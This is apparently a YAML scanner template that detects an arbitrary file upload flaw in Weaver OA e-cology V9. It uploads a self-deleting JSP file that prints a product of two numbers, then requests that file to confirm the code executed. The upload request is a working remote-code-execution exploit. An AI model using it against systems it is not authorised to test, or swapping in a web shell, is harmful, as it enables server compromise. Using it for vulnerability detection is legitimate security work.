ecology-arbitrary-file-upload: 泛微OA e-cology V9前台任意上传漏洞

id: ecology-arbitrary-file-upload

info:
  name: 泛微OA e-cology V9前台任意上传漏洞
  author: jingling
  severity: critical
  description: |-
    泛微OA ecology V9前台任意上传漏洞 app="Weaver-OA"
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  tags: ecology,upload
  created: 2023/06/23

set:
  r1: randomLowercase(4)
  r2: randomInt(40000, 44800)
  r3: randomInt(40000, 44800)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /page/exportImport/uploadOperation.jsp
      headers:
        Content-Type: multipart/form-data; boundary=WebKitFormBoundary{{rboundary}}
      body: "\
        --WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{r1}}.jsp\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
        --WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /page/exportImport/fileTransfer/{{r1}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
expression: r0() && r1()